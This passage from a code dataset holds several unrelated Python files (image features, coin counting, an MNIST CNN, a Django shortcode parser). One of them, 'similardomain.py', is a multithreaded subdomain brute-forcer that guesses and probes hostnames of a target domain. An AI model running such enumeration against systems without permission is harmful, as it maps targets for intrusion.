self.__encodeBoolean( sessionObj.get( \"isNew\" ), bytes_ )\n self.__encodeBoolean( sessionObj.get( \"isValid\" ), bytes_ )\n self.__encodeNum( sessionObj.get( \"thisAccessedTime\" ), bytes_, 8 )\n self.__encodeNum( sessionObj.get( \"lastBackupTime\" ), bytes_, 8 )\n\n idResult = self.__encodeString( sessionObj.get( \"id\" ) )\n #print \"id length {0}\".format( len( idResult ) )\n self.__encodeNum( idResult.get( \"length\" ), bytes_, 2 )\n self.__pushAll( bytes_, idResult.get( \"data\" ) )\n\n self.__encodeNum( sessionObj.get( \"authType\" ), bytes_, 2 )\n\n principalDataResult = self.__encodePrincipalData(sessionObj.get( \"principalData\"))\n\n principalDataResult[\"length\"] = 0\n\n self.__encodeNum( principalDataResult.get( \"length\" ), bytes_, 2 )\n\n if principalDataResult.get( \"length\" ) == 0:\n\n self.__encodeNum( 0, bytes_, 2 )\n self.__encodeNum( 0, bytes_, 2 )\n self.__pushAll( bytes_, principalDataResult.get( \"data\" ) )\n\n else:\n\n self.__pushAll( bytes_, principalDataResult.get( \"data\" ) )\n\n savedRequestDataResult = self.__encodeString( json.dumps( sessionObj.get( \"savedRequestData\" ), ensure_ascii = False ) )\n self.__encodeNum( savedRequestDataResult.get( \"length\" ), bytes_, 2 )\n self.__pushAll( bytes_, savedRequestDataResult.get( \"data\" ) )\n\n savedPrincipalDataResult = self.__encodeString( json.dumps( sessionObj.get( \"savedPrincipalDataResult\" ), ensure_ascii = False ) )\n self.__encodeNum( savedPrincipalDataResult.get( \"length\" ), bytes_, 2 )\n self.__pushAll( bytes_, savedPrincipalDataResult.get( \"data\" ) )\n \n return bytes_\n\n def __encodePrincipalData(self, principalData):\n if sys.version_info[0] > 2:\n decode_json = json.dumps( principalData, ensure_ascii = False )\n decode_json = decode_json.encode('utf-8').decode('iso-8859-1')\n else:\n decode_json = json.dumps( principalData )\n binary_data = self.__encodeString(decode_json)\n return binary_data\n\n def __decodePrincipalData(self, dataBytes, fieldLen, position):\n decoding_string = self.__decodeString( dataBytes, fieldLen, position )\n if sys.version_info[0] > 2: decoding_string = decoding_string.encode('iso-8859-1').decode('utf-8')\n return decoding_string\n\n def deserialize( self, dataBytes ):\n\n result = dict()\n result[\"version\"] = self.__decodeNum( dataBytes, 0 , 2 )\n result[\"sessionFieldsDataLength\"] = self.__decodeNum( dataBytes, 2, 2 )\n result[\"creationTime\"] = self.__decodeNum( dataBytes, 4, 8 )\n result[\"lastAccessedTime\"] = self.__decodeNum( dataBytes, 12, 8 )\n result[\"maxInactive\"] = self.__decodeNum( dataBytes, 20, 4 )\n result[\"isNew\"] = self.__decodeBoolean( dataBytes, 24 )\n result[\"isValid\"] = self.__decodeBoolean( dataBytes, 25 )\n result[\"thisAccessedTime\"] = self.__decodeNum( dataBytes, 26, 8 )\n result[\"lastBackupTime\"] = self.__decodeNum( dataBytes, 34, 8 )\n result[\"idLength\"] = self.__decodeNum( dataBytes, 42, 2 )\n result[\"id\"] = self.__decodeString( dataBytes, 44, result.get( \"idLength\" ) )\n result[\"authType\"] = self.__decodeNum( dataBytes, 44 + result.get( \"idLength\" ), 2 )\n\n result[\"principalDataLength\"] = self.__decodeNum( dataBytes, 46 + result.get( \"idLength\" ), 2 )\n\n if result.get( \"principalDataLength\" ) == 0:\n\n #print self.__decodeString( dataBytes, result.get( \"sessionFieldsDataLength\" ), len( dataBytes ) - result.get( \"sessionFieldsDataLength\" ) )\n #import pdb;pdb.set_trace()\n result[\"principalData\"] = json.loads( self.__decodePrincipalData( dataBytes, result.get( \"sessionFieldsDataLength\" ), len( dataBytes ) - result.get( \"sessionFieldsDataLength\" ) ) )\n\n else:\n result[\"principalData\"] = json.loads( self.__decodePrincipalData( dataBytes, 48 + result.get( \"idLength\" ) , result.get( \"principalDataLength\" ) ) )\n\n result[\"savedRequestDataLength\"] = self.__decodeNum( dataBytes, 48 + result.get( \"idLength\" ) + result.get(\"principalDataLength\"), 2 )\n\n if result.get( \"savedRequestDataLength\" ) != 0:\n\n result[\"savedRequestData\"] = json.loads( self.__decodeString( dataBytes, 50 + result.get( \"idLength\" ) + result.get( \"principalDataLength\" ) , result.get( \"savedRequestDataLength\" ) ) )\n\n\n result[\"savedPrincipalDataLength\"] = self.__decodeNum( dataBytes, 50 + result.get( \"idLength\" ) + result.get(\"principalDataLength\") + result.get( \"savedRequestDataLength\" ), 2 )\n\n if result.get( \"savedPrincipalDataLength\" ) != 0:\n\n result[\"savedPrincipalData\"] = json.loads( self.__decodeString( dataBytes, 52 + result.get( \"idLength\" ) + result.get( \"principalDataLength\" ) + result.get( \"savedRequestDataLength\" ), result.get( \"savedPrincipalDataLength\" ) ) )\n\n return result\n\n\n\n","sub_path":"msm_transcoder/transcoder.py","file_name":"transcoder.py","file_ext":"py","file_size_in_byte":7015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"504646387","text":"# Implementation based on SURF descriptors as described in: Speeded-Up Robust Features (SURF) (Bay et al. 2006)\n# Note that this computes UPRIGHT SURF features (i.e. U-SURF), so the overall orientation of the features is not considered\nimport numpy as np\nfrom scipy import signal # for convolutions\n\nfrom converters.general_functions import gaussian_2D, normalise\n\ndef get_4D_vector(x, y, dx_win, dy_win, step_size):\n x_sub = dx_win[y:y+step_size, x:x+step_size]\n y_sub = dy_win[y:y+step_size, x:x+step_size]\n return np.asarray([np.sum(x_sub), np.sum(np.abs(x_sub)), np.sum(y_sub), np.sum(np.abs(y_sub))])\n\ndef compute_SURF_descriptor(x, y, gauss_dx, gauss_dy, size=20):\n step_size = size // 4\n\n dx_sub = gauss_dx[y:y + size, x:x + size]\n dy_sub = gauss_dy[y:y + size, x:x + size]\n\n descriptor = np.asarray([])\n\n for i in range(0, size, step_size):\n for j in range(0, size, step_size):\n descriptor = np.concatenate((descriptor, get_4D_vector(j, i, dx_sub, dy_sub, step_size)))\n return descriptor\n\ndef generate_SURF_image(im, s=1):\n \"\"\"\n Convert mxnx3 input image into oxpx64 array of SURF features, where o = m//20s, p = n//20s. A SURF feature vector is created for each 20sx20s window in the image.\n :param im: numpy array of the input image of shape mxnx3\n :param s: int, scaling factor. Default is 1 ( = 20x20 kernel size)\n :return: numpy array of shape oxpx64\n \"\"\"\n\n haar_x = np.ones((2 * s, 2 * s))\n haar_x[:, 0:s] *= -1\n haar_y = haar_x.T\n dx = signal.convolve2d(im, haar_x, 'same')\n dy = signal.convolve2d(im, haar_y, 'same')\n\n kernel_size = 20 * s\n kernel = gaussian_2D(kernel_size, sigma=3.3 * s)\n kern_grid = np.tile(kernel, (im.shape[0] // kernel_size, im.shape[1] // kernel_size))\n\n new_shape = (im.shape[0] // kernel_size * kernel_size, im.shape[1] // kernel_size * kernel_size)\n gauss_dx = dx.copy().astype(float)[:new_shape[0], :new_shape[1]]\n gauss_dx *= kern_grid\n gauss_dy = dy.copy().astype(float)[:new_shape[0], :new_shape[1]]\n gauss_dy *= kern_grid\n\n SURF_image = np.zeros((im.shape[0] // kernel_size, im.shape[1] // kernel_size, 64))\n\n for i in range(SURF_image.shape[0]):\n for j in range(SURF_image.shape[1]):\n x, y = (j * kernel_size), (i * kernel_size)\n SURF_image[i, j] = normalise(compute_SURF_descriptor(x, y, gauss_dx, gauss_dy, kernel_size))\n\n return SURF_image\n\ndef get_SURF_image(im, s=1):\n \"\"\"\n Process an image. If the input image has k>1 channels (i.e. not greyscale) then each channel will be processed separately and the resulting arrays concatenated to create a oxpx(k*64) image\n :param im: numpy array of shape nxmxk\n :param s: int, scaling factor. Default is 1 ( = 20x20 kernel size)\n :return: oxpx64k numpy array of SURF feature vectors sampled from the image\n \"\"\"\n try:\n im_depth = im.shape[2]\n except:\n im_depth = 1\n\n if im_depth > 1:\n base = generate_SURF_image(im[:,:,0], s)\n for i in range(1, im_depth):\n new = generate_SURF_image(im[:,:,i], s)\n base = np.concatenate((base, new), axis=2)\n return base\n return generate_SURF_image(im, s)","sub_path":"converters/SURF_generator.py","file_name":"SURF_generator.py","file_ext":"py","file_size_in_byte":3209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"286194395","text":"import cv2\r\nimport numpy as np\r\n\r\n# from matplotlib import pyplot as plt\r\n\r\nimg = cv2.imread('coin2.jpg',1)\r\n\r\nimg1 = cv2.imread('coin2.jpg',0)\r\n\r\n#cv2.imshow(\"1\",img1)\r\n\r\nimg = cv2.resize(img, (int(img.shape[1]/5), int(img.shape[0]/5)), interpolation=cv2.INTER_AREA)\r\n\r\nimg1 = cv2.resize(img1, (int(img1.shape[1]/5), int(img1.shape[0]/5)), interpolation=cv2.INTER_AREA)\r\n\r\n#cv2.imshow(\"1\",img)\r\n\r\nret, coin1 = cv2.threshold(img1 ,45,255,cv2.THRESH_BINARY)\r\n\r\ncoin1 = cv2.medianBlur(coin1,3)\r\ncoin1 = cv2.erode(coin1,np.ones((3,3)),iterations = 7)\r\n\r\ncoin1 = cv2.dilate(coin1,np.ones((3,3)),iterations = 3)\r\n\r\ncoin1 = cv2.medianBlur(coin1,3)\r\ncoin1 = cv2.dilate(coin1,np.ones((3,3)),iterations = 3)\r\n\r\n\r\n\r\n\r\n\r\nnum_labels, labels, stats, centroids = cv2.connectedComponentsWithStats(coin1, connectivity=8)\r\ncv2.imshow(\"circle\",coin1)\r\n#cv2.waitKey(0)\r\nprint(num_labels)\r\n\r\nprint(stats)\r\n\r\nprint(centroids)\r\n\r\nprint(labels)\r\n\r\n#output = np.zeros((img1.shape[0]/5, img1.shape[1], 3), np.uint8)\r\nsum = 0\r\nfor i in range(1, num_labels):\r\n\r\n if(stats[i][2] * stats[i][3] < 1800):\r\n sum +=1\r\n color = (0,0,255)\r\n elif (stats[i][2] * stats[i][3] < 2200):\r\n sum += 5\r\n color = (0,165,255)\r\n elif (stats[i][2] * stats[i][3] < 3200):\r\n sum += 10\r\n color = (0,255,255)\r\n elif (stats[i][2] * stats[i][3] < 3900):\r\n sum += 50\r\n color = (0,255,0)\r\n elif (stats[i][2] * stats[i][3] < 54883):\r\n sum += 500\r\n color = (240,32,160)\r\n elif (stats[i][2] * stats[i][3] < 55611):\r\n sum += 100\r\n color = (255,0,0)\r\n else:\r\n sum += 1000\r\n color = (255,0,255)\r\n output = cv2.rectangle(img,(stats[i][0]-2,stats[i][1]-2),(stats[i][0]+stats[i][2]+2,stats[i][1]+stats[i][3]+2),color,2)\r\n #output[:, :, 0][mask] = np.random.randint(0, 255)\r\n #output[:, :, 1][mask] = np.random.randint(0, 255)\r\n #output[:, :, 2][mask] = np.random.randint(0, 255)\r\nprint(\"硬幣總和為: \" ,sum)\r\ncv2.imwrite('output3.jpg',output)\r\ncv2.imshow('oginal', output)\r\ncv2.waitKey()\r\n\r\n#img2 = cv2.imread('man.jpg',0)\r\n#ret, man1 = cv2.threshold(img2 ,127,255,cv2.THRESH_BINARY_INV)\r\n#man2 = cv2.erode(man1,np.ones((3,3)),iterations = 3)\r\n#man3 = cv2.GaussianBlur(man2,(15,15),0)\r\n#man4=cv2.bitwise_and(img2,man3)\r\n\r\n#cv2.imshow(\"man\",man4)\r\n#cv2.waitKey(0)\r\n","sub_path":"hw03/HW03_107370134/HW03_3.py","file_name":"HW03_3.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"536735614","text":"import re\r\nimport time\r\nimport html\r\nimport sys\r\nfrom argparse import ArgumentParser ,SUPPRESS\r\nimport queue\r\nimport requests\r\nimport threading\r\nfrom itertools import product\r\nfrom urllib.parse import urlparse\r\nrequests.packages.urllib3.disable_warnings()\r\n\r\n##################\r\nopen_result=''\r\n\r\nfilename = sys.argv[0]+'.log'\r\nlogfile = open(filename,'a+',buffering=1) \r\ndef output(*tuple):\r\n\tprint(tuple)\r\n\tprint(tuple,file=logfile)\r\n\r\ndef get_file_type(file_path):\r\n\tfile_type = \"gb2312\"\r\n\ttry:\r\n\t\thtmlf = open(file_path, 'r', encoding=file_type)\r\n\t\thtmlf.read()\r\n\texcept UnicodeDecodeError:\r\n\t\tfile_type = \"utf-8\"\r\n\telse:\r\n\t\thtmlf.close()\r\n\treturn file_type\r\ndef load_file(dict_file):\r\n\tdict=''\r\n\tfile_type = get_file_type(dict_file)\r\n\ttry:\t\r\n\t\tdict = open(dict_file,'r',encoding=file_type, errors='ignore') \r\n\texcept:\r\n\t\toutput(\"请确认字典文件'+dict_file+’是否存在!!!!!\")\r\n\t\texit()\r\n\tdictList = dict.read().splitlines() \r\n\treturn dictList\r\n##################\r\ndef get_title(response):\r\n\tencoding = response.apparent_encoding\r\n\ttry:\r\n\t\ttitle = re.findall(b'(.*?)',response.content,re.S|re.M|re.I)[0]\r\n\t\ttry:\r\n\t\t\treturn ''.join(html.unescape(re.sub('\\s{2,}',' ',title.decode())).replace(' ','_').split()).replace('_',' ').strip()\r\n\t\texcept Exception as e:\r\n\t\t\ttry:\r\n\t\t\t\treturn ''.join(html.unescape(re.sub('\\s{2,}',' ',title.decode('gbk'))).replace(' ','_').split()).replace('_',' ').strip()\r\n\t\t\texcept Exception as e:\r\n\t\t\t\ttry:\r\n\t\t\t\t\treturn ''.join(html.unescape(re.sub('\\s{2,}',' ',title.decode(encoding.lower()))).replace(' ','_').split()).replace('_',' ').strip()\r\n\t\t\t\texcept Exception as e:\r\n\t\t\t\t\treturn ''\r\n\texcept Exception as e:\r\n\t\treturn ''\r\n##################\r\nclass GetUrl(object):\r\n\tdef __init__(self):\r\n\t\tsuper(GetUrl, self).__init__()\r\n\t\tself.headers = {'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0'}\r\n\r\n\tdef geturl(self,url):\r\n\t\tresponse=''\r\n\t\ttry:\r\n\t\t\tif Options == \"GET\":\r\n\t\t\t\tresponse = requests.get(url, verify=False, headers=self.headers, allow_redirects=False,timeout = 5)\r\n\t\t\tif Options == \"HEAD\":\r\n\t\t\t\tresponse = requests.head(url, verify=False, headers=self.headers, allow_redirects=False,timeout = 5)\r\n\t\t\ttry:\r\n\t\t\t\tlocation = response.headers['Location']\r\n\t\t\t\tself.host = urlparse(url)\r\n\t\t\t\tself.scheme = self.host.scheme\r\n\t\t\t\tself.netloc = self.host.netloc\r\n\t\t\t\tif location.lower().startswith(\"http\"):\r\n\t\t\t\t\turl = location\r\n\t\t\t\telif location.lower().startswith(\"/\"):\r\n\t\t\t\t\turl = f'{self.scheme}://{self.netloc}{location}'\r\n\t\t\t\telif location.lower().startswith(\"/\") == False and self.netloc.split(':')[0] in location.lower():\r\n\t\t\t\t\turl = f'{self.scheme}://{location}'\r\n\t\t\t\telif location.lower().startswith(\"/\") == False and self.netloc.split(':')[0] not in location.lower():\r\n\t\t\t\t\turl = f'{self.scheme}://{self.netloc}/{location}'\r\n\t\t\t\t#return self.geturl(url)\r\n\t\t\t\tresponse.url=url\r\n\t\t\t\tself.geturl(url)\r\n\t\t\t\treturn response\r\n\t\t\texcept Exception as e:\r\n\t\t\t\t#output(e)\r\n\t\t\t\treturn response\r\n\t\texcept Exception as e:\r\n\t\t\tif \"getaddrinfo failed\" in str(e):\r\n\t\t\t\tresult = '{},getipError,NoBackurl,NoTitle,NoLenth'.format(url)\r\n\t\t\t\toutput(result)\r\n\t\t\t\tif filter_level <2 : open_result.write(result+'\\n')\r\n\t\t\telif \"connect timeout\" in str(e):\r\n\t\t\t\tresult = '{},connTimeout,NoBackurl,NoTitle,NoLenth'.format(url)\r\n\t\t\t\toutput(result)\r\n\t\t\t\tif filter_level <3 : open_result.write(result+'\\n')\r\n\t\t\telif \"read timeout\" in str(e):\r\n\t\t\t\tresult = '{},readTimeout,NoBackurl,NoTitle,NoLenth'.format(url)\r\n\t\t\t\toutput(result)\r\n\t\t\t\tif filter_level <3 : open_result.write(result+'\\n')\r\n\t\t\telif \"Failed to establish\" in str(e):\r\n\t\t\t\tresult = '{},establishErroe,NoBackurl,NoTitle,NoLenth'.format(url)\r\n\t\t\t\toutput(result)\r\n\t\t\t\tif filter_level <2 : open_result.write(result+'\\n')\r\n\t\t\telif \"SSLError\" in str(e):\r\n\t\t\t\tresult = '{},SSLError,NoBackurl,NoTitle,NoLenth'.format(url)\r\n\t\t\t\toutput(result)\r\n\t\t\t\tif filter_level <2 : open_result.write(result+'\\n')\r\n\t\t\telse:\r\n\t\t\t\toutput(url,e)\r\n\t\t\t\tresult = '{},otherError,NoBackurl,NoTitle,NoLenth'.format(url)\r\n\t\t\t\toutput(result)\r\n\t\t\t\tif filter_level <2 : open_result.write(result+'\\n')\r\n\t\t\tpass\r\n\r\nclass Asset(threading.Thread):\r\n\tdef run(self):\r\n\t\tif input_url_list !=[]: \r\n\t\t\twhile True:\r\n\t\t\t\twhile not waittask.empty():\r\n\t\t\t\t\tfor url in input_url_list :\r\n\t\t\t\t\t\turllist=[]\r\n\t\t\t\t\t\turl = url.replace('$$',f'{waittask.get()}').replace('..','.').strip()\r\n\t\t\t\t\t\tif flag_http >=2 :\r\n\t\t\t\t\t\t\turl = url.split('://')[-1]\r\n\t\t\t\t\t\tif 'http' not in url:\r\n\t\t\t\t\t\t\turllist.extend(['http://'+url , 'https://'+url])\r\n\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\turllist.append(url)\r\n\t\t\t\t\t\tfor url in urllist:\r\n\t\t\t\t\t\t\tresponse = GetUrl().geturl(url)\r\n\t\t\t\t\t\t\tif response:\r\n\t\t\t\t\t\t\t\t\tstatus = response.status_code\r\n\t\t\t\t\t\t\t\t\tbackurl = response.url\r\n\t\t\t\t\t\t\t\t\ttitle = get_title(response)\r\n\t\t\t\t\t\t\t\t\tlength = len(str(response))\r\n\t\t\t\t\t\t\t\t\tif title:\r\n\t\t\t\t\t\t\t\t\t\t#output('进度:{:.2%} 原始链接:{} 状态码:{} 跳转链接:{} 标题:{}'.format(1-waittask.qsize()/sums,url,status,backurl,title))\r\n\t\t\t\t\t\t\t\t\t\t#output('原始链接:{} 状态码:{} 跳转链接:{} 标题:{}'.format(url,status,backurl,title))\r\n\t\t\t\t\t\t\t\t\t\tresult = '{},{},{},\"{}\",len[{}]'.format(url,status,backurl,title,length)\r\n\t\t\t\t\t\t\t\t\t\toutput(result)\r\n\t\t\t\t\t\t\t\t\t\topen_result.write(result+'\\n')\r\n\t\t\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\t\t\ttitle = 'NoTitle'\r\n\t\t\t\t\t\t\t\t\t\tresult = '{},{},{},NoTitle,len[{}]'.format(url,status,backurl,length)\r\n\t\t\t\t\t\t\t\t\t\toutput(result)\r\n\t\t\t\t\t\t\t\t\t\topen_result.write(result+'\\n')\r\n\t\t\t\texit()\r\n\t\telse:\r\n\t\t\toutput('input urls is Empty')\r\n\t\t\texit()\r\n\r\ndef main():\r\n\tglobal open_result\r\n\tif out_file != None:\r\n\t\tresult_file = out_file\r\n\telse:\r\n\t\tnow_time = str(time.time()).split('.')[0]\r\n\t\tresult_file ='{}.{}.csv'.format(sys.argv[0],now_time )\r\n\toutput('result_file',result_file)\r\n\topen_result = open(result_file,'w+',buffering=1024) \r\n\tfor dicts in dictslist:\r\n\t\twaittask.put(''.join(dicts))\r\n\tdictslist.clear()\r\n\tglobal sums\r\n\tsums = waittask.qsize()\r\n\tfor i in range(1,int(args.thread)):\r\n\t\tasset = Asset()\r\n\t\tasset.start()\r\n\r\n\t\r\nif __name__ == '__main__':\r\n\toutput(sys.argv)\r\n\tparser = ArgumentParser(description='FUZZ任意位置的域名 Author by wineZERO',prog=\"\",usage=SUPPRESS)\r\n\tparser.add_argument('-u', '--url', default=None, nargs='?', help='目标链接/域名:http://$$.mi.com 表示通过http协议爆破mi.com的子域名,$$为标记点,支持纯域名格式')\t\r\n\tparser.add_argument('-uf', '--urlfile', default=None, nargs='?', help='目标链接/域名文件,适用于批量爆破统一域名的类似域名使用')\r\n\tparser.add_argument('-of', '--outfile', default=None, nargs='?', help='输出文件:默认为脚本名称+时间戳')\r\n\t\r\n\tparser.add_argument('-t', '--thread', default=20, nargs='?', help='线程:默认20个线程,该参数表示自定义线程数')\r\n\tparser.add_argument('-o', '--options', default='get', nargs='?',help='请求模式:默认GET模式,加上该参数表示使用head请求方式')\r\n\tparser.add_argument('-m', '--mode', default='dict', nargs='?', help='运行模式:可选dict模式(默认)或fuzz模式')\r\n\r\n\tparser.add_argument('-fl', '--filterlevel', type=int, default=2, help='1:输出所有检测记录,2:(默认)输出所有可解析域名记录,3:仅输出可访问域名记录')\r\n\tparser.add_argument('-fh', '--flaghttp', type=int, default=1, help='1:(默认)继承输入url的协议类型,2:同时使用http/https协议,对于纯域名按照http/https协议处理')\r\n\tparser.add_argument('-df', '--dictfile', default='domain-top.txt', nargs='?', help='字典文件:从指定域名字典文件读取字典,会自动处理.字符')\r\n\tparser.add_argument('-fs', '--fuzzstr', default='short', nargs='?', help='fuzz字符串:short(默认)标识26个字母可能排序,long表示字母加上0-9,其他输入将直接传递到fuzzstr')\r\n\tparser.add_argument('-fr', '--fuzzranges', default='1-4', help='fuzz范围:默认字典长度为1-4位数所有可能组合,加上该参数表示使用自定义长度。')\r\n\targs = parser.parse_args()\r\n\tfilter_level = args.filterlevel\r\n\tflag_http = args.flaghttp\r\n\tout_file= args.outfile\r\n\tinput_url_list = []\r\n\tinput_url = args.url\r\n\turl_file = args.urlfile\r\n\tif input_url !=None:\r\n\t\tinput_url_list.append(input_url)\r\n\telif url_file !=None:\r\n\t\tinput_url_list =load_file(url_file)\r\n\t\tprint(input_url_list)\r\n\telse:\r\n\t\toutput('No Any Target Input Error !!!')\r\n\t\texit()\r\n\tif args.options.lower() == 'head':\r\n\t\tOptions = 'HEAD'\r\n\telse:\r\n\t\tOptions = 'GET'\r\n\tif args.mode.lower() == 'fuzz':\r\n\t\t#output(\"使用Fuzz模式\")\r\n\t\tif args.fuzzstr == 'short':\r\n\t\t\tfuzzstr = 'abcdefghijklmnopqrstuvwxyz'\r\n\t\t\toutput(\"使用Fuzz模式\")\r\n\t\t\toutput(\"fuzzstr\",fuzzstr)\r\n\t\telif args.fuzzstr.lower() == 'long':\r\n\t\t\tfuzzstr = 'abcdefghijklmnopqrstuvwxyz0123456789'\r\n\t\t\toutput(\"使用Fuzz模式\")\r\n\t\t\toutput(\"fuzzstr\",fuzzstr)\r\n\t\telse:\r\n\t\t\tfuzzstr = args.fuzzstr.strip()\r\n\t\t\toutput(\"使用Fuzz模式\")\r\n\t\t\toutput(\"fuzzstr\",fuzzstr)\r\n\t\tif len(args.fuzzranges.split('-')) == 2:\r\n\t\t\tdictslist = []\r\n\t\t\tstart,end = int(args.fuzzranges.split('-')[0]),int(args.fuzzranges.split('-')[1])\r\n\t\t\tfor i in range(start,end+1):\r\n\t\t\t\tresult = product(fuzzstr, repeat=i)\r\n\t\t\t\tdictslist.extend(list(result))\r\n\t\telse:\r\n\t\t\tdictslist = []\r\n\t\t\tresult = product(fuzzstr, repeat=int(args.fuzzranges))\r\n\t\t\tdictslist.extend(list(result))\r\n\telse:\r\n\t\t#output(\"使用Dict模式\")\r\n\t\tif args.dictfile != '' :\r\n\t\t\tdictslist = []\r\n\t\t\tdictfile = args.dictfile \r\n\t\t\toutput(\"使用Dict模式:\",dictfile)\r\n\t\t\tresult = load_file(dictfile)\r\n\t\t\t#output(result)\r\n\t\t\tdictslist.extend(list(result))\r\n\twaittask = queue.Queue()\r\n\tmain()\r\n","sub_path":"similardomain.py","file_name":"similardomain.py","file_ext":"py","file_size_in_byte":9577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"168317314","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom tensorflow.examples.tutorials.mnist import input_data\nmnist = input_data.read_data_sets('/tmp/data',one_hot=False)\n\nlearning_rate = 0.01\ntraining_steps = 200\ndisplay_steps = training_steps//10\nbatch_size = 128\n\nnum_input = 28*28\nnum_classes = 10\ndropout = 0.75\n\n#\ndef conv_net(x_dict,n_classes,dropout,reuse,is_training):\n with tf.variable_scope('Convnet',reuse=reuse):\n x = x_dict['images']\n x = tf.reshape(x,shape=[-1,28,28,1])\n conv1 = tf.layers.conv2d(x,32,5,activation=tf.nn.relu)\n conv1 = tf.layers.max_pooling2d(conv1,2,2)\n\n conv2 = tf.layers.conv2d(conv1,64,3,activation=tf.nn.relu)\n conv2 = tf.layers.max_pooling2d(conv2,2,2)\n\n fc1 = tf.contrib.layers.flatten(conv2)\n\n fc1= tf.layers.dense(fc1,1024)\n fc1 = tf.layers.dropout(fc1,rate=dropout,training=is_training)\n\n out = tf.layers.dense(fc1,n_classes)\n\n return out\n# Create the neural network\n# def conv_net(x_dict, n_classes, dropout, reuse, is_training):\n# # Define a scope for reusing the variables\n# with tf.variable_scope('ConvNet', reuse=reuse):\n# # TF Estimator input is a dict, in case of multiple inputs\n# x = x_dict['images']\n#\n# # MNIST data input is a 1-D vector of 784 features (28*28 pixels)\n# # Reshape to match picture format [Height x Width x Channel]\n# # Tensor input become 4-D: [Batch Size, Height, Width, Channel]\n# x = tf.reshape(x, shape=[-1, 28, 28, 1])\n#\n# # Convolution Layer with 32 filters and a kernel size of 5\n# conv1 = tf.layers.conv2d(x, 32, 5, activation=tf.nn.relu)\n# # Max Pooling (down-sampling) with strides of 2 and kernel size of 2\n# conv1 = tf.layers.max_pooling2d(conv1, 2, 2)\n#\n# # Convolution Layer with 64 filters and a kernel size of 3\n# conv2 = tf.layers.conv2d(conv1, 64, 3, activation=tf.nn.relu)\n# # Max Pooling (down-sampling) with strides of 2 and kernel size of 2\n# conv2 = tf.layers.max_pooling2d(conv2, 2, 2)\n#\n# # Flatten the data to a 1-D vector for the fully connected layer\n# fc1 = tf.contrib.layers.flatten(conv2)\n#\n# # Fully connected layer (in tf contrib folder for now)\n# fc1 = tf.layers.dense(fc1, 1024)\n# # Apply Dropout (if is_training is False, dropout is not applied)\n# fc1 = tf.layers.dropout(fc1, rate=dropout, training=is_training)\n#\n# # Output layer, class prediction\n# out = tf.layers.dense(fc1, n_classes)\n\n # return out\n\n# Define the model function (following TF Estimator Template)\ndef model_fn(features,labels,mode):\n logits_train = conv_net(features,num_classes,dropout,reuse=False,is_training=True)\n logits_test = conv_net(features,num_classes,dropout,reuse=True,is_training=False)\n\n pred_classes = tf.argmax(logits_test,axis=1)\n pred_prob = tf.nn.softmax(logits_test)\n\n if mode == tf.estimator.ModeKeys.PREDICT:\n return tf.estimator.EstimatorSpec(mode,predictions=pred_classes)\n\n loss_op = tf.reduce_mean(tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits_train,labels=tf.cast(labels,dtype=tf.int32)))\n optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)\n train_op = optimizer.minimize(loss_op,global_step=tf.train.get_global_step())\n acc_op = tf.metrics.accuracy(labels=labels,predictions=pred_classes)\n\n estim_specs = tf.estimator.EstimatorSpec(\n mode=mode,\n predictions=pred_classes,\n loss=loss_op,\n train_op=train_op,\n eval_metric_ops={'accuracy':acc_op}\n )\n return estim_specs\n\n\nmodel = tf.estimator.Estimator(model_fn)\ninput_fn = tf.estimator.inputs.numpy_input_fn(\n x = {'images':mnist.train.images},\n y = mnist.train.labels,\n batch_size=batch_size,\n num_epochs = None,\n shuffle=True\n)\nmodel.train(input_fn,steps=training_steps)\n\n\n\n\ninput_fn = tf.estimator.inputs.numpy_input_fn(\n x = {'images':mnist.test.images},\n y = mnist.test.labels,\n batch_size=batch_size,\n shuffle=True\n)\nmodel.evaluate(input_fn)\n\nn_images = 4\ntest_images = mnist.test.images[:n_images]\n\n\ninput_fn = tf.estimator.inputs.numpy_input_fn(\n x = {'images':test_images},\n shuffle=False\n)\n\npreds = list(model.predict(input_fn))\nfor i in range(n_images):\n plt.imshow(test_images[i].reshape([28,28]),cmap='gray')\n plt.show()\n print('Model prediction',preds[i])\n","sub_path":"tensorflow_v1/convolutional_neural_network.py","file_name":"convolutional_neural_network.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"571865890","text":"from django.conf import settings\n\nfrom .base import BaseParser\n\nTHEME_OPTIONS = ('black', 'white',)\nVIEW_OPTIONS = ('list', 'coverart',)\n\nDEFAULT_WIDTH = 480\nDEFAULT_HEIGHT = 480\nDEFAULT_CSS_CLASS = 'shortcode-spotify'\n\nclass SpotifyParser(BaseParser):\n name = 'spotify'\n\n def get_context(self, context={}, render_format='html'):\n \"\"\"\n Shortcode parser for Spotify player embed. All options and markup referenced from:\n https://developer.spotify.com/technologies/widgets/spotify-play-button/\n \"\"\"\n ctx = {}\n uri = context.get('uri')\n\n if uri:\n width = context.get(\n 'width',\n getattr(settings, 'SHORTCODES_SPOTIFY_WIDTH', DEFAULT_WIDTH)\n )\n\n height = context.get(\n 'height',\n getattr(settings, 'SHORTCODES_SPOTIFY_HEIGHT', DEFAULT_HEIGHT)\n )\n\n theme = context.get('theme')\n view = context.get('view')\n\n ctx = {\n 'css_class': getattr(settings, 'SHORTCODES_SPOTIFY_CSS_CLASS', DEFAULT_CSS_CLASS),\n 'uri': uri,\n 'width': width,\n 'height': height\n }\n\n if theme and theme in THEME_OPTIONS:\n ctx['theme'] = theme\n\n if view and view in VIEW_OPTIONS:\n ctx['view'] = view\n\n context.update(ctx)\n return context\n\n","sub_path":"shortcodes/parsers/spotify.py","file_name":"spotify.py","file_ext":"py","file_size_in_byte":1431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"425716557","text":"import 